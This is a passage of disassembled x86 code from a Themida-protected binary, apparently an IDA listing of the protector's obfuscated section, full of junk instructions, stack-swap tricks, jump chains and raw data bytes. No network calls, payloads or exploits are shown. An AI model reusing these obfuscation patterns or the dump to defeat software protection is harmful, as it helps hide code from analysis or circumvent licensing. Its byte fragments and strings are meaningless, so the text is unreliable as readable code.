		dd 9E629BC6h, 0FFC6811Bh, 0F7FFFFFFh, 5317E9DEh, 0F3010000h
		dd 0DDADE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55380A:				; CODE XREF: Themida_:0055BBCAj
		mul	ecx
		push	56D4h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_55381B:				; CODE XREF: Themida_:00557B18j
		mov	eax, 2
		add	edi, eax
		jmp	loc_55BA90
; ---------------------------------------------------------------------------


loc_553827:				; CODE XREF: Themida_:00550322j
		mov	esi, 0FFFFFFFFh
		add	ebp, esi
		pop	esi
		add	ebp, 778DA5F4h
		mov	ebx, ebp
		jmp	loc_555D3E
; ---------------------------------------------------------------------------
		dd 4C181h, 0B8500000h, 4, 7AD8C181h, 0C1296150h, 0BEDEE9h
		dd 0C1D2F700h, 0EA8107E2h, 12980147h, 0F83FF281h, 0D301CEA1h
		dd 0E683E9h, 242C8900h,	8E70CBBDh, 25C5816Eh, 527E8942h
		dd 2F17BB53h, 53BA7D77h, 29A50957h, 0D2F75BDAh,	7747E281h
		dd 0F28154ADh, 0BD3AE5B7h, 20E9D531h, 550000C1h, 25E9C589h
		dd 66FFFFB9h, 53240C8Bh, 0BF575B54h, 6F657680h,	4EC81h
		dd 1C890000h, 6DF6BB24h, 0E3C17131h, 4EC8306h, 0BF243C89h
		dd 7AB415BBh, 0F30CF81h, 0DFF72214h, 3CCDCF81h,	0C7817603h
		dd 25A76BE0h, 95FFB29h,	0E7815BDFh, 137D62D1h, 4AA2E9h
		dd 24048700h, 240C895Ch, 0C181E189h, 4,	4BE56h,	0F1290000h
		dd 240C875Eh, 5756E95Ch, 665B0000h, 2454F653h, 805B6601h
		dd 885201C7h, 88D6F6FEh, 4DA7E9F7h, 248B0000h, 2434FF24h
		dd 57240C8Bh, 0C781E789h, 4, 4C781h, 3C870000h,	0DD3DE924h
		dd 3C870000h, 0C82CE924h, 14890000h, 4F89BA24h,	0CBE90D95h
		dd 89FFFFE0h, 89562414h, 4C681E6h, 52000000h, 0AF5DB1BAh
		dd 4E2C17Eh, 0E788E94Ah, 49BE0000h, 8116EB7Dh, 1482BBC6h
		dd 5EF789E9h, 555FFB01h, 4BDh, 0E9EB0100h, 0FFFFA470h
; ---------------------------------------------------------------------------


loc_55399C:				; CODE XREF: Themida_:00556634j
		push	ecx
		mov	ecx, eax
		jmp	loc_550BEE
; ---------------------------------------------------------------------------
		dd 0FFA41CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5539A9:				; CODE XREF: Themida_:0055DF0Bj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55D02B
; ---------------------------------------------------------------------------
aI_1		db '-ݨÙ',0
		dd offset dword_450050+2399h
		align 4
		dd 4BDh, 5DE80100h, 5C240487h, 0FFA3F0E9h, 0F1895FFFh
		dd 5E2434FFh, 2104C483h
		db 0CAh, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	47E886Fh
		jmp	loc_5601F2
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 276E4DA8h, 4973F381h, 0D3F700E6h, 6265E9h, 8BEB2900h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562802
; ---------------------------------------------------------------------------
		dd 4EC815Eh, 89000000h,	0F6E92414h, 81FFFFC8h, 4ECh, 24148900h
		dd 0F680BBB6h, 7EEC0A5h, 0F648E680h, 80D6F6DEh,	0F10050C6h
		dd 24048B5Ah, 0FFB91DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553A5D:				; CODE XREF: Themida_:0055B50Bj
		mov	edx, 5C20726Ch
		push	4444h
		mov	[esp], edi
		push	esi
		jmp	loc_5505BD
; ---------------------------------------------------------------------------
		dd 9C2424D2h, 0FFA34CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553A79:				; CODE XREF: Themida_:005610D9j
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 8DA1069h
		mov	edi, esi
		pop	esi
		xor	[esp+4], edi
		push	dword ptr [esp]
		jmp	loc_553C57
; ---------------------------------------------------------------------------
		db 8Bh
		dd 26E92424h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553A9F:				; CODE XREF: Themida_:00553B7Ej
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 6CEE6438h
		push	edi
		mov	edi, 29493E1Bh
		push	edx
		mov	edx, 5DB76B16h
		jmp	loc_55CB1B
; ---------------------------------------------------------------------------
		db 1
		dd 0C13CE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553AC6:				; CODE XREF: Themida_:00552DFEj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5524F7
; ---------------------------------------------------------------------------


loc_553AD4:				; CODE XREF: Themida_:0055D338j
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_552696
; ---------------------------------------------------------------------------


loc_553AE5:				; CODE XREF: Themida_:005611EBj
		push	ebx
		mov	ebx, edi
		push	ebx
		sub	dword ptr [esp], 0DAD6649h
		pop	ecx
		add	ecx, 0DAD6649h
		pop	ebx
		mov	edi, [esp]
		jmp	loc_55FB64
; ---------------------------------------------------------------------------


loc_553B00:				; CODE XREF: Themida_:0055960Aj
		mov	edx, 708721C3h
		add	ebx, edx
		jmp	loc_559469
; ---------------------------------------------------------------------------
aZqh9z		db ')ÐZQh9z',0
		dd 243C8900h, 4F536768h, 1674E965h, 0B1510000h,	2DC1809Ch
		dd 0E905E9C0h, 0FFFFD673h
; ---------------------------------------------------------------------------


loc_553B30:				; CODE XREF: Themida_:00561110j
		sub	ebp, 57FF71FFh
		and	eax, ebp
		jmp	loc_55D0C6
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 81242489h, 42404h, 48F0000h,	0C3B6824h, 1C890000h, 4BB24h
		dd 5C010000h, 0E95B0424h, 0C098h
; ---------------------------------------------------------------------------


loc_553B64:				; CODE XREF: Themida_:0055547Aj
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_553A9F
; ---------------------------------------------------------------------------
		db 81h
		dd 321172C2h, 21B95136h, 3190B04Bh, 0A463E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553B96:				; CODE XREF: Themida_:00560C59j
		pop	ebx
		or	eax, eax
		jz	loc_55426F
		push	ebx
		mov	ebx, 1Ch
		push	edx
		push	540C2683h
		pop	edx
		not	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2D6B4761h
		sub	edi, 770016C5h
		push	edx
		mov	edx, 668C008Ah
		xor	edi, edx
		pop	edx
		neg	edi
		xor	edi, 266CEFDBh
		jmp	loc_55D6E6
; ---------------------------------------------------------------------------
		dd 5604C483h, 661592BEh, 11C6814Ch, 0F728393Bh,	81D6F7DEh
		dd 0B9D188EEh, 5EF1291Eh, 687FC181h, 0CE89226Bh, 83240C8Bh
		dd 0F70104C4h, 8324348Bh, 0EC8104C4h, 4, 56242C89h, 2BEh
		dd 394CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553C1E:				; CODE XREF: Themida_:0055874Dj
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	758Dh
		mov	[esp], ebp
		push	43A3h
		mov	[esp], eax
		push	68413384h
		pop	eax
		push	ebp
		mov	ebp, 33281AF4h
		and	eax, ebp
		pop	ebp
		jmp	loc_54F123
; ---------------------------------------------------------------------------


loc_553C4D:				; CODE XREF: Themida_:00552E9Bj
		mov	ecx, 0FC07DB5h
		jmp	loc_554612
; ---------------------------------------------------------------------------


loc_553C57:				; CODE XREF: Themida_:00553A92j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 54876FC9h
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	1198h
		jmp	loc_55E960
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 3
		dd 860FF181h, 0CA897F55h, 5AD52159h, 8107E5C1h,	0EFCC00C5h
		dd 6E6856B6h, 0E900006Eh, 0EBDEh, 722DC581h, 815A37D1h
		dd 87E26EDh, 0C6815841h, 79473F6Eh, 0EE81EE01h,	79473F6Eh
		dd 2B92E9h, 0FCBE5600h,	0F700F349h, 17ADE9D6h, 68580000h
		dd 4589h, 15BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_553CDD:				; CODE XREF: Themida_:005513A9j
		pop	eax
		jmp	loc_55EE67
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF35ABEDh, 0E9FD2959h, 9DD6h, 88D98851h, 2434FFCCh
		dd 4C48359h, 81241C8Bh,	4C4h, 0E7885300h, 65DBE9h, 39E95C00h
		dd 5C000069h, 64E5C281h, 0C28123A3h, 13FE3348h,	0EA81C201h
		dd 13FE3348h, 64E5EA81h, 53E923A3h, 890000A3h, 0C6815BDEh
		dd 2C2209A8h, 5F5E5756h, 0BC3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_553D45:				; CODE XREF: Themida_:00551164j
		pop	ecx
		jmp	loc_550AF8
; ---------------------------------------------------------------------------
		db 33h
		dd 835C243Ch, 6CE904ECh, 5700009Eh, 5F5E9h, 3101B800h
		dd 0E02D4F07h, 0D2FF72Ah, 773760A3h, 0D08E0C1h,	1F9119B9h
		dd 0FF494425h, 13F4352Dh, 0DCE907E9h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553D83:				; CODE XREF: Themida_:0055250Ej
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_552685
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0B02CE924h, 0CB00FFFFh, 8005C380h, 0C8BC8C3h, 0C7E924h
		dd 4870000h, 89565C24h,	4C681E6h, 81000000h, 4EEh, 74FF5600h
		dd 0E95E0424h, 0FFFFF2E0h
; ---------------------------------------------------------------------------


loc_553DC8:				; CODE XREF: Themida_:0055A4D6j
		shr	eax, 10h
		xor	eax, ecx
		push	45DAh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_556873
; ---------------------------------------------------------------------------


loc_553DDC:				; CODE XREF: Themida_:00560694j
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 0E2E9h
		dd 81FFFF9Fh, 960A16C2h, 0CE7CE90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553DEE:				; CODE XREF: Themida_:00552199j
		mov	eax, 66086CB6h
		mov	esi, eax
		pop	eax
		sub	eax, esi
		jmp	loc_55C773
; ---------------------------------------------------------------------------
		db 31h,	0F2h, 0E9h
		dd 85A2h, 0CBFEC3FEh, 0FFE451E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553E0D:				; CODE XREF: Themida_:00555F5Aj
		mov	eax, 1B7D24C5h
		push	eax
		jmp	loc_55F9D2
; ---------------------------------------------------------------------------
		dd 5C242C87h, 26857h, 0ABE90000h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553E27:				; CODE XREF: Themida_:0055E9F0j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	3B24h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55DF7D
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8704EE83h, 895C2434h, 2FB82404h, 0E94C3561h,	0DDA4h
		dd 0E907E8C1h, 0D133h, 0FFE4C681h, 0F501FFF5h, 0FFABE8E9h
		dd 0E08950FFh, 405h, 4B95100h, 1000000h, 48759C8h, 71B55C24h
		dd 0ECE9DD00h, 890000ACh, 0EFC15DEFh, 1EF78102h, 0C1505527h
		dd 814706EFh, 81EFA7C7h, 0C412E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553EAA:				; CODE XREF: Themida_:005608D7j
		push	edx
		jmp	loc_55D939
; ---------------------------------------------------------------------------
		dd 53243C8Bh, 0C381E389h, 4, 8704C383h,	0D1E9241Ch, 0B80000B8h
		dd 2E080196h, 9D49DB0Dh, 507D2502h, 0C6E901CFh,	0BE00001Dh
		dd 2, 817FE9h
		db 0
; ---------------------------------------------------------------------------


loc_553EE5:				; CODE XREF: Themida_:0055438Aj
		push	ecx
		jmp	loc_55C8B7
; ---------------------------------------------------------------------------
		dd offset dword_450050+2F18h
		align 10h
		dd 0FFE39EE9h, 50C580FFh, 0A2F580h, 665B59ECh, 86E38853h
		dd 86D5F6EBh, 66DC88EBh, 83241C8Bh, 0C48002C4h,	7CE980DFh
		dd 0C7E9E128h, 89000028h, 9BBB241Ch, 0C164B231h, 0BA5206EBh
		dd 2DF33C2Dh, 0A0CCE9h,	0E6E95100h, 500000E8h, 9639F5B8h
		dd 0A992E970h, 0E9510000h, 0FFFFE9D5h, 305AF030h, 2434FFC7h
		dd 8324048Bh, 0C48304C4h, 0B1516604h, 66C80097h, 2CF80059h
		dd 2434FF97h, 0A391E95Bh, 6866FFFFh, 896657D6h,	3486241Ch
		dd 0E9D6F624h, 98ACh, 0E9D6F796h, 0DD3Dh, 0F839E946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F92:				; CODE XREF: Themida_:005608B2j
		push	eax
		pop	ebx
		pop	eax
		shr	ebx, 2
		jmp	loc_55F1DD
; ---------------------------------------------------------------------------


loc_553F9D:				; CODE XREF: Themida_:00554836j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		and	eax, ebx
		pop	ebx
		jmp	loc_55AAF3
; ---------------------------------------------------------------------------


loc_553FB5:				; CODE XREF: Themida_:0054F161j
		mov	esi, [esp]
		jmp	loc_54E327
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 41E904C7h, 100007Ch, 94C181D1h, 5A706D2Eh
		dd 0E9240C87h, 0B9BDh, 323A06BDh, 5DE80144h, 695A9F2Dh
		dd 9FBCE948h, 0EB810000h, 7D7066CBh, 5CF468h, 24348900h
		dd 71A76853h, 0F75B4EECh, 5DD2E9DBh, 0C4830000h, 9DB3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554012:				; CODE XREF: Themida_:005611ABj
		or	edx, 5C14645Dh
		or	edx, 10735EA6h
		push	ecx
		jmp	loc_554C2E
; ---------------------------------------------------------------------------
aAbbsb		db '»ìaBéBÝ',0
		align 2
		dw 489h
		dd 5585424h, 4,	42Dh, 0C962E900h, 6C810000h, 43760424h
		dd 48B1F73h, 152BE924h,	55C0000h, 549B42A0h, 9C36E9h
		db 0
; ---------------------------------------------------------------------------


loc_55405D:				; CODE XREF: Themida_:0054DE68j
		pop	ebx
		shr	ecx, 2
		add	ecx, 1
		push	edx
		mov	edx, 530C5FD3h
		jmp	loc_56112D
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C1FE08E9h, 516FE9h
		db 0
; ---------------------------------------------------------------------------


loc_554079:				; CODE XREF: Themida_:0055EB52j
		mov	[esp], ebp
		mov	ebp, 263C2F7Eh
		mov	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 0D9C3D482h
		add	esi, edx
		pop	edx
		jmp	loc_558064
; ---------------------------------------------------------------------------


loc_554092:				; CODE XREF: Themida_:0054DEB3j
		mov	[esp], ebx
		mov	ebx, 471A13DEh
		shr	ebx, 1
		shr	ebx, 3
		xor	ebx, 48B08D25h
		xor	edi, ebx
		pop	ebx
		push	ebp
		push	0E31DC47Eh
		pop	ebp
		xor	edi, ebp
		pop	ebp
		xor	ebp, edi
		pop	edi
		inc	ebp
		push	ebx
		mov	ebx, 7ECB15EBh
		add	ebx, 6A303422h
		and	ebx, 416E032Fh
		xor	ebx, 39CB784Eh
		shl	ebx, 4
		add	ebx, 8730D6BDh
		xor	ebp, ebx
		pop	ebx
		sub	ebp, 436CDFCBh
		and	eax, ebp
		jmp	loc_55C78E
; ---------------------------------------------------------------------------


loc_5540E7:				; CODE XREF: Themida_:0055247Dj
		mov	edi, 107E268Dh
		not	edi
		xor	edi, 56BD37DEh
		or	edi, 7FA53042h
		xor	edi, 0FFBDFEEAh
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_54F527
; ---------------------------------------------------------------------------
		db 21h,	4Fh, 1Ch
		dd 53240C8Bh, 241C8B54h, 4C481h, 0C3810000h, 4,	3304C383h
		dd 0BBE9241Ch
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554133:				; CODE XREF: Themida_:0054E6E1j
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_550E12
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9C79h, 0BE9E589h, 0E9000063h, 0FFFF9C6Dh, 8859CB00h
		dd 241C8BD9h, 804C483h,	0C8B66CBh, 2C48324h, 0C380CBFEh
		dd 0FFD80082h, 835B2434h, 0EE0404C4h, 0FF9E24E9h, 5E95BFFh
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554187:				; CODE XREF: Themida_:00560786j
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	38A5h
		jmp	loc_54F26A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 2246C8Ah, 2244488h, 0C1685866h, 89000060h, 0EA882414h
		dd 0D3F6DA86h, 0D588DA86h, 0EE88525Ah, 4246C8Ah, 4247488h
		dd 5A2434FFh, 81E18951h, 4C1h, 1C16E900h, 895D0000h, 0C7015AD0h
		dd 582434FFh, 8304C483h, 3C8904ECh, 2474FF24h, 243C8B04h
		dd 8F04C483h, 248B2404h, 24040824h, 9BBFE99Ch, 0E3C1FFFFh
		dd 0C406E908h, 5B660000h, 5A66F030h, 0FF9DBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554219:				; CODE XREF: Themida_:0054DDE4j
		xor	edx, 3F527202h
		xor	edx, ecx
		pop	ecx
		jmp	loc_55ECF6
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 24248924h, 4240483h, 4C6815Eh, 51000000h
		dd 501CBE56h, 0E6813F87h, 7A2B161Dh, 7869E9h, 0C8B6600h
		dd 1A126824h, 20E90000h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55425B:				; CODE XREF: Themida_:0055437Dj
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_55426F:				; CODE XREF: Themida_:00553B99j
		push	7622h
		mov	[esp], ebx
		push	edi
		push	4761h
		mov	[esp], edx
		jmp	loc_55A5A0
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0E4h
		dd 0F738A44Fh, 5F5157D7h, 87D1F759h, 0D8BB53CFh, 31B49997h
		dd 0F8015BDFh, 77D8E9h,	1BB00h,	0F2E90000h, 81000061h
		dd 4EAh, 24148700h, 0DB71E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5542BE:				; CODE XREF: Themida_:005515FAj
		or	eax, eax
		jz	loc_558D5B
		push	4020h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_560952
; ---------------------------------------------------------------------------
aXs3		db 'Xé3µ',0
		align 4
aLSO		db '‹$$éÒo',0
		align 4
		dd 4C4835Bh, 7C9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5542FD:				; CODE XREF: Themida_:005577DAj
		sub	edi, 435D6763h
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_55838C
; ---------------------------------------------------------------------------


loc_55430D:				; CODE XREF: Themida_:005517C6j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_551C62
; ---------------------------------------------------------------------------


loc_55431B:				; CODE XREF: Themida_:0055CF50j
		push	0A35h
		mov	[esp], eax
		push	76263ADBh
		pop	eax
		sub	eax, 537585DAh
		add	ebx, eax
		jmp	loc_561808
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0ECh
		dd 4, 0FF240489h, 0FF042474h, 0E9582434h, 0FFFFF2C8h, 215E95Eh
		dd 9ABF0000h, 81769F51h, 0F8E998EFh, 0E9FE2957h, 6C76h
		dd 327368h, 0BDD6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55436E:				; CODE XREF: Themida_:00561AB3j
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55425B
; ---------------------------------------------------------------------------


loc_554382:				; CODE XREF: Themida_:00561234j
		pop	ecx
		jmp	loc_551C3E
; ---------------------------------------------------------------------------


loc_554388:				; CODE XREF: Themida_:00559782j
		mov	ebx, esp
		jmp	loc_553EE5
; ---------------------------------------------------------------------------
aIXsN		db 'ˆÅXé×n',0
		dw 500h
		dd 6C6879FDh, 0E956D029h, 0D4B6h
; ---------------------------------------------------------------------------


loc_5543A4:				; CODE XREF: Themida_:00552D5Bj
		add	ecx, 13FBF520h
		mov	eax, ecx
		pop	ecx
		add	eax, 5CF44210h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55806C
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 5624048Fh, 4BEh, 24740100h, 24348B04h, 0E904C483h
		dd 0ABE8h, 5AD70158h, 7798E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5543E6:				; CODE XREF: Themida_:0055C216j
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 49AB487Ah
		shl	edi, 3
		shr	edi, 4
		push	585Fh
		mov	[esp], eax
		jmp	loc_55AA74
; ---------------------------------------------------------------------------
		db 0BBh, 10h, 1Bh
		dd 0DF01A2E4h, 5FF9895Bh, 0E959CA01h, 234Dh, 0D6F6D3B6h
		dd 6673F680h, 0D2FBE952h, 0E6890000h, 4C681h, 0C6830000h
		dd 24348704h, 0AB6AE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554442:				; CODE XREF: Themida_:00550917j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E809
; ---------------------------------------------------------------------------
		dd 4B951h, 0C8010000h, 5EF46859h, 3C890000h, 278DBF24h
		dd 8CE92F1Ah
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55446B:				; CODE XREF: Themida_:0055C855j
		pop	esp
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	7265h
		mov	[esp], eax
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 2C8B2434h, 4C48324h,	81E68956h, 4C6h, 4C68100h, 0E9000000h
		dd 0FFFFE70Ch, 48BC101h, 10EBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5544A6:				; CODE XREF: Themida_:0055E45Bj
		mov	ebp, esi
		jmp	loc_550989
; ---------------------------------------------------------------------------
		db 1, 0D0h, 0E9h
		dd 5691h
; ---------------------------------------------------------------------------


loc_5544B4:				; CODE XREF: Themida_:0054E10Fj
		xor	al, cl
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	7273h
		jmp	loc_54F50B
; ---------------------------------------------------------------------------
		dd 8702E9C1h, 87D7F7F9h, 0F2C981F9h, 81542C35h,	0F3BF1DE9h
		dd 8BCF8902h, 0C481240Ch, 4, 4D38E9h, 0B60F6600h, 1EE957CCh
		dd 89FFFFCCh, 4C181E1h,	83000000h, 0C8704C1h, 0F6585C24h
		dd 4EC83DDh, 6DF4E9h, 4C48300h,	0C7FED7F6h, 6866h, 0FFA85DE9h
		dd 27E95DFFh, 40000D2h,	6FDAE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554536:				; CODE XREF: Themida_:0055CC60j
		xor	[esp+4], esi
		pop	esi
		pop	esi
		push	edi
		jmp	loc_551895
; ---------------------------------------------------------------------------
		dw 0EB29h
		dd 434EC381h, 9E96952h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55454F:				; CODE XREF: Themida_:0055CC1Aj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	5363h
		mov	[esp], esi
		jmp	loc_55E35D
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BEFh, 4C481h, 0B9510000h, 4, 52E9CF01h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55457F:				; CODE XREF: Themida_:0055AB98j
		neg	ch
		inc	ch
		or	ch, 0A4h
		add	ch, 42h
		and	ch, 0D9h
		jmp	loc_550C81
; ---------------------------------------------------------------------------
aSco		db '\éæŽ',0
		dw 5900h
		dd 4C481h, 0BBE90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5545A3:				; CODE XREF: Themida_:0055EAB3j
		sub	esp, 4
		jmp	loc_554EB3
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 0E9042474h, 3DECh
; ---------------------------------------------------------------------------


loc_5545B8:				; CODE XREF: Themida_:00551B67j
		add	esp, 4
		push	ebx
		push	5F17h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 500D5D25h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5613CA
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 2F53E9h
		db 0
; ---------------------------------------------------------------------------


loc_5545E5:				; CODE XREF: Themida_:005618CDj
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		push	ebx
		push	ebp
		mov	ebp, 2C516649h
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_554E56
; ---------------------------------------------------------------------------
		db 5Eh
		dd 9EB8505Dh, 1DC7CEBh,	0CBCFE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554612:				; CODE XREF: Themida_:00553C52j
		or	ecx, 61612AF4h
		xor	ecx, 3A667403h
		dec	ecx
		not	ecx
		add	ecx, 4B93C88Ch
		xor	ebx, ecx
		pop	ecx
		sub	ebx, 59D35067h
		add	esi, ebx
		push	dword ptr [esp]
		jmp	loc_5527B6
; ---------------------------------------------------------------------------


loc_55463A:				; CODE XREF: Themida_:005576C6j
		add	ecx, 0FFFFFFFFh
		xor	ecx, 99C0D142h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	ebx
		push	ecx
		jmp	loc_559377
; ---------------------------------------------------------------------------
		db 0BFh, 0A3h, 5Dh
		dd 0B0E965A5h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55465F:				; CODE XREF: Themida_:0054F776j
		pop	eax
		jmp	loc_55AD51
; ---------------------------------------------------------------------------


loc_554665:				; CODE XREF: Themida_:00557C98j
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_55466E:				; CODE XREF: Themida_:0055DC0Dj
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, 4F675914h
		not	eax
		jmp	loc_55A924
; ---------------------------------------------------------------------------
		db 68h
		dd 78F3h, 57240C89h, 592434FFh,	0E904C483h, 24BDh, 8104E1C1h
		dd 634024C1h, 8BCF0180h, 0C483240Ch, 74FF5704h,	0E95F0424h
		dd 567h, 875FF801h, 535C2404h, 8904EC83h, 0E9522404h, 4DF6h
; ---------------------------------------------------------------------------


loc_5546C4:				; CODE XREF: Themida_:00559D61j
		add	dword ptr [esp+4], 1527268Eh
		add	dword ptr [esp+4], 70BA4339h
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5536E4
; ---------------------------------------------------------------------------
		db 1
		dd 56505EF5h, 2BEh, 0F2895200h,	8B5AD089h, 89562434h, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 97ED815Ch, 5242D632h, 9B2F2DBAh
		dd 0E9D2F76Ah, 0FFFFE060h, 8704C483h, 248B243Ch, 24348924h
		dd 0FFD544E9h, 0C1E94FFFh, 0B000001Fh, 5E8C085h, 0B0505366h
		dd 34FF2CF6h, 8BC38864h, 54572404h, 1E59E9h
		db 0
; ---------------------------------------------------------------------------


loc_554749:				; CODE XREF: Themida_:0055A244j
		push	edx
		mov	dh, 48h
		dec	dh
		not	dh
		jmp	loc_556592
; ---------------------------------------------------------------------------
		db 89h,	0D6h, 8Bh
		dd 0C4832414h, 5EF20104h, 5C241487h, 9C240400h,	0FF9658E9h
		dd 0E7C166FFh, 0CF816602h, 81662DBAh, 661A77C7h, 0A20AE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554782:				; CODE XREF: Themida_:0055E7AAj
		not	edi
		sub	edi, 6CB36C7Fh
		jmp	loc_5537E1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 34FF2434h, 0C4835924h, 5957E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5547A2:				; CODE XREF: Themida_:005557B0j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4E5D061Ah
		not	ebp
		jmp	loc_55A282
